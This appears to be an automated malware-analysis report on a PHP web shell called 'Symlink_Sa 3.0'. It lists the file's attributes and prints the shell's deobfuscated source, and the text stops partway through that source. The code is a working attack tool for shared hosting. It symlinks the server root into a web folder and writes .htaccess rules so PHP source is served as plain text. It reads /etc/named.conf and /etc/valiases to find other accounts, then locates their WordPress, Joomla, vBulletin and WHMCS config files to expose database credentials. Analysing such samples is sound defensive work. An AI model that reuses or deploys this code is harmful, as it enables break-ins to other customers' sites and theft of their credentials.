PHP Malware Analysis
sm.php
md5: 0e9f8a8cf68c46e6881bc829e6dd70e0
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Encoding
- base64_decode (Deobfuscated, Original, Traces)
Environment
- error_reporting (Deobfuscated, Original, Traces)
- set_time_limit (Deobfuscated, Traces)
Execution
- eval (Deobfuscated, Original, Traces)
Files
- file_get_contents (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
- _GET (Deobfuscated, Original)
- _POST (Deobfuscated, Original)
Title
- Symlink_Sa 3.0 (Deobfuscated, HTML, Traces)
URLs
- ftp://localhost/public_html//uploads/ (Traces)
- ftp://localhost/public_html//uploads/sm.php (Traces)
- http://$IIIIIIII1I11 (Original)
- http://$IIIIIIIlIlII (Original)
- http://$IIIIIIIlIllI (Original)
- http://localhost/uploads/ (Traces)
- http://localhost/uploads/sm.php (Traces)
- http://sec-w.com/cc (HTML, Traces)
- http://www (Deobfuscated, Original)
- http://www.w3.org/1999/xhtml (Deobfuscated, HTML, Traces)
- http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd (Deobfuscated, Traces)
- www.Sh3ll.Us (Traces)
Deobfuscated PHP code
<?php
$OOO000000 = "fg6sbehpra4co_tnd";
$GLOBALS['OOO0000O0'] = "base64_d";
$GLOBALS['OOO0000O0'] = "base64_decode";
eval /* PHPDeobfuscator eval output */ {
$GLOBALS['IIIIIIIlllll'] = 'copy';
$GLOBALS['IIIIIIIllllI'] = 'header';
$GLOBALS['IIIIIIIlllI1'] = 'is_dir';
$GLOBALS['IIIIIIIlllII'] = 'ini_get';
$GLOBALS['IIIIIIIlI1l1'] = 'mysql_query';
$GLOBALS['IIIIIIIlI1lI'] = 'mysql_connect';
$GLOBALS['IIIIIIIlIll1'] = 'ereg';
$GLOBALS['IIIIIIIlIII1'] = 'fclose';
$GLOBALS['IIIIIIIlIIII'] = 'stripcslashes';
$GLOBALS['IIIIIIII111I'] = 'highlight_file';
$GLOBALS['IIIIIIII11l1'] = 'show_source';
$GLOBALS['IIIIIIII11ll'] = 'htmlentities';
$GLOBALS['IIIIIIII11lI'] = 'filesize';
$GLOBALS['IIIIIIII11I1'] = 'fread';
$GLOBALS['IIIIIIII1llI'] = 'preg_match';
$GLOBALS['IIIIIIII1I1l'] = 'strpos';
$GLOBALS['IIIIIIIII11I'] = 'fileowner';
$GLOBALS['IIIIIIIII1l1'] = 'posix_getpwuid';
$GLOBALS['IIIIIIIII1lI'] = 'trim';
$GLOBALS['IIIIIIIII1Il'] = 'preg_match_all';
$GLOBALS['IIIIIIIII1II'] = 'eregi';
$GLOBALS['IIIIIIIIIl11'] = 'flush';
$GLOBALS['IIIIIIIIIl1I'] = 'file';
$GLOBALS['IIIIIIIIIlll'] = 'is_file';
$GLOBALS['IIIIIIIIIllI'] = 'basename';
$GLOBALS['IIIIIIIIIlIl'] = 'symlink';
$GLOBALS['IIIIIIIIIlII'] = 'fwrite';
$GLOBALS['IIIIIIIIII11'] = 'fopen';
$GLOBALS['IIIIIIIIIIll'] = 'count';
$GLOBALS['IIIIIIIIIIlI'] = 'explode';
$GLOBALS['IIIIIIIIIIII'] = 'set_time_limit';
};
set_time_limit(0);
error_reporting(0);
$IIIIIIIIIIIl = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
$IIIIIIIIIII1 = explode("/", $IIIIIIIIIIIl);
$IIIIIIIIIIIl = str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1) - 1], "", $IIIIIIIIIIIl);
$IIIIIIIIIIl1 = "ftp://" . $_SERVER["SERVER_NAME"] . "/public_html/" . $_SERVER["REQUEST_URI"];
$IIIIIIIIIII1 = explode("/", $IIIIIIIIIIl1);
$IIIIIIIIIIl1 = str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1) - 1], "", $IIIIIIIIIIl1);
echo " <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\r\n \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n\r\n<head>\r\n<title>Symlink_Sa 3.0</title>\r\n\r\n<style type=\"text/css\">\r\n\r\n html,body {\r\n margin: 0;\r\n padding: 0;\r\n outline: 0;\r\n}\r\na{\r\n\r\n font-size: 13px;\r\n\r\n}\r\n\r\n\r\nbody {\r\n direction: ltr;\r\n background-color:#F4F4F4;\r\n\tcolor: rgb(153, 153, 153);\r\n text-align: center\r\n}\r\n\r\n\r\n\r\ninput,textarea,select{\r\nfont-weight: bold;\r\ncolor: #000000;\r\n}\r\n\r\ninput,textarea,select:hover{\r\nbox-shadow: 0px 0px 4px #AAAAAA;\r\n}\r\n\r\n\r\n.hedr {\r\n font-family: Tahoma, Arial, sans-serif ;\r\n font-size: 22px;\r\n\r\n\r\n}\r\n\r\n.cont a{\r\n\r\n text-decoration: none;\r\n color:rgb(153, 153, 153);\r\n font-family: Tahoma, Arial, sans-serif ;\r\n font-size: 16px;\r\n text-shadow: 0px 0px 3px ;\r\n}\r\n\r\n.cont a:hover{\r\n\r\n\r\n color: #EEEEEE ;\r\n text-shadow:0px 0px 3px #000000 ;\r\n\r\n\r\n}\r\n\r\n.tmp tr td{\r\n\r\nborder: solid 1px #BBBBBB;\r\n\r\npadding: 2px ;\r\n font-size: 13px;\r\n}\r\n\r\n.tmp tr td a {\r\n text-decoration: none;\r\n\r\n\r\n\r\n}\r\n\r\n.foter{\r\n font-size: 9pt;\r\n color: #AAAAAA ;\r\n text-align: center\r\n}\r\n\r\n.tmp tr td:hover{\r\n\r\nbox-shadow: 0px 0px 4px #888888;\r\n\r\n}\r\n.fot{\r\n\r\nfont-family:Tahoma, Arial, sans-serif;\r\n\r\n font-size: 11pt;\r\n}\r\n.for a : hover{\r\n\r\ntext-shadow: 0px 0px 1px #3366FF;\r\n\r\n}\r\n\r\n\r\n.ir {\r\n color: #FF0000;\r\n}\r\n\r\n\r\n\r\n</style>\r\n\r\n</head>\r\n\r\n<body>\r\n\r\n<div class='all'>\r\n\r\n\r\n";
@mkdir("sym", 0777);
$IIIIIIIIII1I = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$IIIIIIIIII1l = @fopen("sym/.htaccess", "w");
fwrite($IIIIIIIIII1l, $IIIIIIIIII1I);
@symlink("/", "sym/root");
$IIIIIIIIIlI1 = basename("/var/www/html/sm.php.12ae157e4825f19c6f913c1374fc9b31.bin");
echo "<br /><div class=\"hedr\"> Symlink Sa 3.0 <br /></div>";
echo "<br /><div class=\"hedr\">-:[ User & Domains & Symlink ]:-<br /><br /></div>";
echo "<div class=\"cont\">\r\n\r\n[<a href=\"?\"> Home </a>]\r\n\r\n[<a href=\"?sws=sym\"> User & Domains & Symlink </a>]\r\n\r\n[<a href=\"?sws=sec\"> Domains & Script </a>]\r\n\r\n[ <a href=\"?sws=file\"> Symlink File </a>]\r\n\r\n[<a href=\"?sws=passwd\"> Symlink Bypass </a>]\r\n\r\n<br /><br />\r\n\r\n[ <a href=\"?sws=read\"> Bypass Read </a>]\r\n\r\n[ <a href=\"?sws=joomla\"> Mass Joomla </a>]\r\n\r\n[ <a href=\"?sws=wp\"> Mass WordPress </a>]\r\n\r\n[ <a href=\"?sws=vb\"> Mass vBulletin </a>]\r\n\r\n[ <a href=\"?sws=help\"> Help </a>]\r\n\r\n<br /><br /><br />\r\n\r\n\r\n\r\n\r\n\r\n\r\n</div>";
if (isset($_REQUEST["sws"])) {
switch ($_REQUEST["sws"]) {
case $GLOBALS['OOO0000O0']('c2Vj'):
if (!@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))) {
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
} else {
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if (!$IIIIIIIIIll1) {
die("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
} else {
echo "<div class='tmp'>\r\n<table align='center' width='40%'><td> Domains </td><td> Script </td>";
foreach ($IIIIIIIIIll1 as $IIIIIIIIIl1l) {
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='), $IIIIIIIIIl1l)) {
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='), $IIIIIIIIIl1l, $IIIIIIIII1I1);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
if (@strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) > 2) {
$IIIIIIIII1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=') . $IIIIIIIII1I1[1][0]));
$IIIIIIIII11l = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHA=');
$IIIIIIIII111 = @get_headers($IIIIIIIII11l);
$wp = $IIIIIIIII111[0];
$IIIIIIIIlIIl = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocA==');
$IIIIIIIIlII1 = @get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI = $IIIIIIIIlII1[0];
$IIIIIIIIlIll = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhw');
$IIIIIIIIlIl1 = @get_headers($IIIIIIIIlIll);
$IIIIIIIIlI1I = $IIIIIIIIlIl1[0];
$IIIIIIIIlI1l = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIIlI11 = @get_headers($IIIIIIIIlI1l);
$IIIIIIIIllII = $IIIIIIIIlI11[0];
$IIIIIIIIllIl = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIllI1 = @get_headers($IIIIIIIIllIl);
$vb = $IIIIIIIIllI1[0];
$IIIIIIIIllll = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIlll1 = @get_headers($IIIIIIIIllll);
$IIIIIIIIll1I = $IIIIIIIIlll1[0];
$IIIIIIIIll1l = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIll11 = @get_headers($IIIIIIIIll1l);
$IIIIIIIIl1II = $IIIIIIIIll11[0];
$IIIIIIIIl1Il = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('cHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIIl1I1 = @get_headers($IIIIIIIIl1Il);
$IIIIIIIIl1lI = $IIIIIIIIl1I1[0];
$IIIIIIIIl1ll = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHA=');
$IIIIIIIIl1I1 = @get_headers($IIIIIIIIl1ll);
$IIIIIIIIl1l1 = $IIIIIIIIl1I1[0];
$IIIIIIIIl11I = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIIIl11l = @get_headers($IIIIIIIIl11I);
$IIIIIIIIl111 = $IIIIIIIIl11l[0];
$IIIIIIII1III = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHA=');
$IIIIIIII1IIl = @get_headers($IIIIIIII1III);
$IIIIIIII1II1 = $IIIIIIII1IIl[0];
$IIIIIIII1IlI = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocA==');
$IIIIIIII1Ill = @get_headers($IIIIIIII1IlI);
$IIIIIIII1Il1 = $IIIIIIII1Ill[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11 = $GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = "<a href='" . $IIIIIIIII11l . "' target='_blank'>Wordpress</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = "<a href='" . $IIIIIIIIlIIl . "' target='_blank'>Wordpress</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlI1I, $GLOBALS['OOO0000O0']('MjAw')) == true and $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIII1II1, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIII1III . "' target='_blank'>WHMCS</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIl1l1, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIIIl1ll . "' target='_blank'>WHMCS</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIl111, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIIIl11I . "' target='_blank'>WHMCS</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlI1I, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIIIlIll . "' target='_blank'>Joomla</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIllII, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIIIlI1l . "' target='_blank'>Joomla</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($vb, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIIIllIl . "' target='_blank'>vBulletin</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIll1I, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIIIllll . "' target='_blank'>vBulletin</a>";
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIl1II, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = " <a href='" . $IIIIIIIIll1l . "' target='_blank'>vBulletin</a>";
} else {
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIII1lII = $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')];
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu') . $IIIIIIIII1I1[1][0] . $GLOBALS['OOO0000O0']('Lz4=') . $IIIIIIIII1I1[1][0] . $GLOBALS['OOO0000O0']('PC9hPjwvdGQ+DQo8dGQ+') . $IIIIIIII1I11 . $GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('c3lt'):
if (!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))) {
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
} else {
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if (!$IIIIIIIIIll1) {
die("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
} else {
echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach ($IIIIIIIIIll1 as $IIIIIIIIIl1l) {
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='), $IIIIIIIIIl1l)) {
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='), $IIIIIIIIIl1l, $IIIIIIIII1I1);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
if (strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) > 2) {
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=') . $IIIIIIIII1I1[1][0]));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIII1lII = $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')];
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEls')]($GLOBALS['OOO0000O0']('Lw=='), $GLOBALS['OOO0000O0']('c3ltL3Jvb3Q='));
$IIIIIIII1lII = $IIIIIIIII1I1[1][0];
$ir = $GLOBALS['OOO0000O0']('aXI=');
$il = $GLOBALS['OOO0000O0']('aWw=');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxbGxJ')]("/.^{$ir}/", $IIIIIIIII1I1[1][0]) or $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxbGxJ')]("/.^{$il}/", $IIIIIIIII1I1[1][0])) {
$IIIIIIII1lII = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $IIIIIIIII1I1[1][0] . $GLOBALS['OOO0000O0']('PC9kaXY+');
}
echo "\r\n<tr>\r\n\r\n<td>\r\n<div class='dom'><a target='_blank' href=http://www." . $IIIIIIIII1I1[1][0] . $GLOBALS['OOO0000O0']('Lz4=') . $IIIIIIII1lII . $GLOBALS['OOO0000O0']('IDwvYT4gPC9kaXY+DQo8L3RkPg0KDQoNCjx0ZD4NCg==') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . "\r\n</td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n<td>\r\n<a href='sym/root/home/" . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . "/public_html' target='_blank'>symlink </a>\r\n</td>\r\n\r\n\r\n</tr></div> ";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('ZmlsZQ=='):
echo $GLOBALS['OOO0000O0']('DQpUaGUgZmlsZSBwYXRoIHRvIHN5bWxpbmsNCg0KPGJyIC8+PGJyIC8+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHZhbHVlPSIvaG9tZS91c2VyL3B1YmxpY19odG1sL2ZpbGUubmFtZSIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiB2YWx1ZT0iZmlsZS5uYW1lX3N5bSAoIEV4LiA6OiByb3lhbGlzdGUudHh0ICkiIHNpemU9IjYwIi8+PGJyIC8+PGJyIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic3ltbGluayIgbmFtZT0ic3ltbGluayIgLz4gPGJyIC8+PGJyIC8+DQoNCg0KDQo8L2Zvcm0+DQo=');
$IIIIIIII1lll = $_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')];
$symfile = $_POST[$GLOBALS['OOO0000O0']('c3ltZmlsZQ==')];
$symlink = $_POST[$GLOBALS['OOO0000O0']('c3ltbGluaw==')];
if ($symlink) {
@mkdir($GLOBALS['OOO0000O0']('c3ltMQ=='), 0777);
$IIIIIIII1l1l = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
$IIIIIIIIII1l = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('c3ltMS8uaHRhY2Nlc3M='), $GLOBALS['OOO0000O0']('dw=='));
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l, $IIIIIIII1l1l);
@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEls')]("{$IIIIIIII1lll}", "sym1/{$symfile}");
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bTEv') . $symfile . $GLOBALS['OOO0000O0']('IiA+') . $symfile . $GLOBALS['OOO0000O0']('PC9hPg==');
}
break;
case $GLOBALS['OOO0000O0']('cmVhZA=='):
echo $GLOBALS['OOO0000O0']('cmVhZCAvZXRjL25hbWVkLmNvbmY=');
echo "<br /><br /><form method='post' action='?sws=read&save=1'><textarea cols='80' rows='20' name='file'>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$file = $GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m');
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($file, $GLOBALS['OOO0000O0']('cg=='));
if ($IIIIIIII11II) {
$IIIIIIII11Il = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMUkx')]($IIIIIIII11II, @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($file));
echo $GLOBALS['OOO0000O0']('') . $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxs')]($IIIIIIII11Il) . $GLOBALS['OOO0000O0']('');
} else {
if (!$IIIIIIII11II) {
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWwx')]($file);
} else {
if (!$IIIIIIII11II) {
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMTFJ')]($file);
} else {
if (!$IIIIIIII11II) {
$IIIIIIII111l = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEls')]($file, $GLOBALS['OOO0000O0']('c3ltLnR4dA=='));
if ($IIIIIIII111l) {
$IIIIIIII11II = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('c3ltL3N5bS50eHQ='), $GLOBALS['OOO0000O0']('cg=='));
$IIIIIIII11Il = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMUkx')]($IIIIIIII11II, @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($file));
echo $GLOBALS['OOO0000O0']('') . $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxs')]($IIIIIIII11Il) . $GLOBALS['OOO0000O0']('');
}
}
}
}
}
echo "</textarea><br /><br /><input type='submit' value='Save'/> </form>";
if (isset($_GET[$GLOBALS['OOO0000O0']('c2F2ZQ==')])) {
$IIIIIIII1111 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUlJ')]($_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')]);
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'), $GLOBALS['OOO0000O0']('dw=='));
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l, $IIIIIIII1111);
if ($w) {
echo $GLOBALS['OOO0000O0']('PGJyIC8+c2F2ZSBoYXMgYmVlbiBzdWNjZXNzZnVsbHk=');
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUkx')]($IIIIIIIIII1l);
}
break;
case $GLOBALS['OOO0000O0']('cGFzc3dk'):
if (isset($_GET[$GLOBALS['OOO0000O0']('c2F2ZQ==')]) and isset($_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')]) or @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxMWxJ')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA==')) > 0) {
$IIIIIIII1111 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUlJ')]($_POST[$GLOBALS['OOO0000O0']('ZmlsZQ==')]);
if (!file_exists($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA=='))) {
$IIIIIIIIII1l = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('cGFzc3dkLnR4dA=='), $GLOBALS['OOO0000O0']('dw=='));
$w = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l, $IIIIIIII1111);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJSUkx')]($IIIIIIIIII1l);
}
